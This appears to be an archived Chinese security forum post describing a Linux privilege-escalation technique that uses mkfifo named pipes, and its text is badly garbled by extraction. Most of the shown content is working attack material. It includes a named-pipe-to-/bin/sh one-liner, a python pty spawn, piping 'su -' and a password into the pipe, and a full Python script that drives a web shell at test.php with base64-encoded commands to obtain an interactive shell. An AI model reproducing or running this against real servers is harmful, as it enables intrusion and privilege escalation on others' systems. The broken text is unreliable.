[26607] 2019-12-30_linuxmkfifo命名管道提权

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-19
2019-12-30_linuxmkfifo命名管道提权 l i n u x   m k f i f o   m O o n   m o o n s e c   2 0 1 9 - 1 2 - 3 0 1   S H E L L 使 S H E L L   使 s u   s h e l l 使 s h e l l   使 m k f i f o   2   F I F O L i n u x 使 使 使 便 使 3   3 . 1     m k f i f o   / t m p / i n p u t ; t a i l   - f   / t m p / i n p u t   | / b i n / s h   2 > & 1   > / t m p / o u t p u t   m k f i f o m k f i f o   / t m p / i n p u t t a i l   - f   / t m p / i n p u t   / b i n / s h   / t m p / o u t p u t 3 . 2    
3 . 3   S H E L L e c h o   " p y t h o n   - c   ' i m p o r t p t y ; p t y . s p a w n ( " / b i n / b a s h " ) ' " > / t m p / i n p u t 3 . 4     e c h o   " s u - "   > / t m p / i n p u t e c h o " 1 2 3 4 5 6 "   > / t m p / i n p u t 4
4 . 1     h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 4 3 / t e s t . p h p ? m o o n = i d 4 . 2     p y t h o n # c o d i n g : u t f - 8 i m p o r t   r e q u e s t s i m p o r t   t i m e f r o m   b a s e 6 4   i m p o r t   b 6 4 e n c o d e f r o m   r a n d o m   i m p o r t   r a n d r a n g e i m p o r t   t h r e a d i n g     c l a s s   A l l T h e R e a d s ( o b j e c t ) :       d e f   _ _ i n i t _ _ ( s e l f , i n t e r v a l = 1 ) :               s e l f . i n t e r v a l = i n t e r v a l               t h r e a d   =   t h r e a d i n g . T h r e a d ( t a r g e t = s e l f . r u n , a r g s = ( ) )               t h r e a d . d a e m o n   =   T r u e               t h r e a d . s t a r t ( )           d e f   r u n ( s e l f ) :               r e a d o u t p u t =   " " "   / b i n / c a t   % s " " "   % ( s t d o u t )               c l e a r o u t p u t   =   " " " e c h o   ' '   >   % s " " "   % ( s t d o u t )               w h i l e   T r u e :                       o u t p u t =   R u n C m d ( r e a d o u t p u t )                       i f   o u t p u t :                                 R u n C m d ( c l e a r o u t p u t )                                 p r i n t ( o u t p u t )                       t i m e . s l e e p ( s e l f . i n t e r v a l )     d e f   R u n C m d ( c m d ) :                 c m d   =   c m d . e n c o d e ( ' u t f - 8 ' )       c m d   =   b 6 4 e n c o d e ( c m d ) . d e c o d e ( ' u t f - 8 ' )       d a t a   = {   ' m o o n ' :   " e c h o   ' % s ' |   b a s e 6 4   - d | s h "   % ( c m d ) }       r e s u l i t = r e q u e s t s . p o s t ( ' h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 4 3 / t e s t . p h p ' , d a t a = d a t a , t i m e o u t = 5 ) . t e x t . s t r i p ( )
4 . 3           r e s u l i t = r e q u e s t s . p o s t ( ' h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 4 3 / t e s t . p h p ' , d a t a = d a t a , t i m e o u t = 5 ) . t e x t . s t r i p ( )             r e t u r n   r e s u l i t     d e f   W r i t e C m d ( c m d ) :       c m d   =   c m d . e n c o d e ( ' u t f - 8 ' )       c m d   =   b 6 4 e n c o d e ( c m d ) . d e c o d e ( ' u t f - 8 ' )       d a t a   = {   ' m o o n ' :   " e c h o   ' % s ' |   b a s e 6 4   - d   >   % s "   % ( c m d , s t d i n ) }       r e s u l i t = r e q u e s t s . p o s t ( ' h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 4 3 / t e s t . p h p ' , d a t a = d a t a , t i m e o u t = 5 ) . t e x t . s t r i p ( )             r e t u r n   r e s u l i t     d e f   R e a d C m d ( ) :       G e t O u t p u t   =   " " " / b i n / c a t   % s " " "   % ( s t d o u t )       o u t p u t = R u n C m d ( G e t O u t p u t )       r e t u r n   o u t p u t   d e f   S e t u p S h e l l ( ) :       N a m e P i p e s   =   " " " m k f i f o   % s ;   t a i l   - f   % s   |   / b i n / s h 2 > & 1   >   % s " " "   % ( s t d i n , s t d i n , s t d o u t )       t r y :               R u n C m d ( N a m e P i p e s )       e x c e p t :               N o n e       r e t u r n   N o n e   g l o b a l   s t d i n ,   s t d o u t   s e s s i o n   =   r a n d r a n g e ( 1 0 0 0 , 9 9 9 9 )   s t d i n   =   " / d e v / s h m / i n p u t . % s "   % ( s e s s i o n ) s t d o u t   =   " / d e v / s h m / o u t p u t . % s "   % ( s e s s i o n )   c l e a r o u t p u t   =   " " " e c h o   ' ' >   % s " " "   %   ( s t d o u t )   S e t u p S h e l l ( ) R e a d i n g T h e T h i n g s   =   A l l T h e R e a d s ( ) w h i l e   T r u e :       c m d   =   i n p u t ( ' >   ' )       W r i t e C m d ( c m d + " n " )       t i m e . s l e e p ( 1 . 1 )
 
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则